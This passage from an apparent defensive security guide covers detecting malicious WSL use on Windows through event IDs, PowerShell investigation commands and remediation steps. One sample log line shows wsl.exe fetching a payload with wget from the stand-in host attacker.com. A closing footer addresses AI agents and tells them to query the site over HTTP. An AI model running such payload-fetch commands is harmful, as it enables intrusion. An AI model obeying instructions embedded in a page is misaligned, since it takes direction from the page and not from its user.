| **4663**     | An attempt was made to access an object (e.g., files accessed via WSL). |
| **5156**     | A network connection was allowed (trace WSL-originating traffic).       |
| **4104**     | PowerShell script block execution (if WSL is invoked via PowerShell).   |

**📌 Focus on Event ID 4688:**

* Look for:

  ```plaintext
  ProcessCommandLine: wsl.exe -e bash -c "wget http://attacker.com/payload.sh"
  ParentProcessName: explorer.exe
  ```

**📌 Focus on Event ID 5156:**

* Network activity:

  ```plaintext
  RemoteIP: 45.67.89.123
  RemotePort: 443
  ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Analyze WSL Processes**

* Inspect currently running WSL processes:

```powershell
Get-Process -Name "wsl"
```

***

#### 2️⃣ **Trace Network Activity from WSL**

* Check active network connections:

```powershell
netstat -ano | findstr <PID>
```

***

#### 3️⃣ **Inspect File Access via WSL**

* Look for recently modified files:

```powershell
Get-ChildItem -Path "C:\Windows\Temp", "C:\Users\Public" -Recurse
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Terminate Malicious WSL Processes**

```powershell
Stop-Process -Name "wsl" -Force
```

#### 📌 **2. Disable WSL (if unused)**

```powershell
Disable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
```

#### 📌 **3. Audit User Permissions**

* Verify only authorized users can run WSL.

#### 📌 **4. Block Suspicious IPs**

```powershell
New-NetFirewallRule -DisplayName "Block Suspicious IP" -Direction Outbound -RemoteAddress <IP> -Action Block
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable Logging for WSL:**
   * Monitor all WSL-related events.
2. **Restrict WSL Installation:**
   * Allow installation only for specific accounts.
3. **Monitor Network Connections:**
   * Identify external communication from WSL.
4. **Regular Auditing:**
   * Check Event IDs **4688**, **4663**, **5156** frequently.
5. **Limit Execution of Sudo Commands:**
   * Enforce least privilege principles.

***

### 🧠 **6. Key Takeaways**

* **First-Time WSL Execution:** Could indicate suspicious activity.
* **Focus on Event IDs:** **4688**, **4663**, **5156**.
* **Trace Network Connections:** Look for outbound communication.
* **Monitor Script Execution:** Pay attention to WSL launching external scripts.

***


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmedhat.gitbook.io/whoami/attacks-and-detections/part-6.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
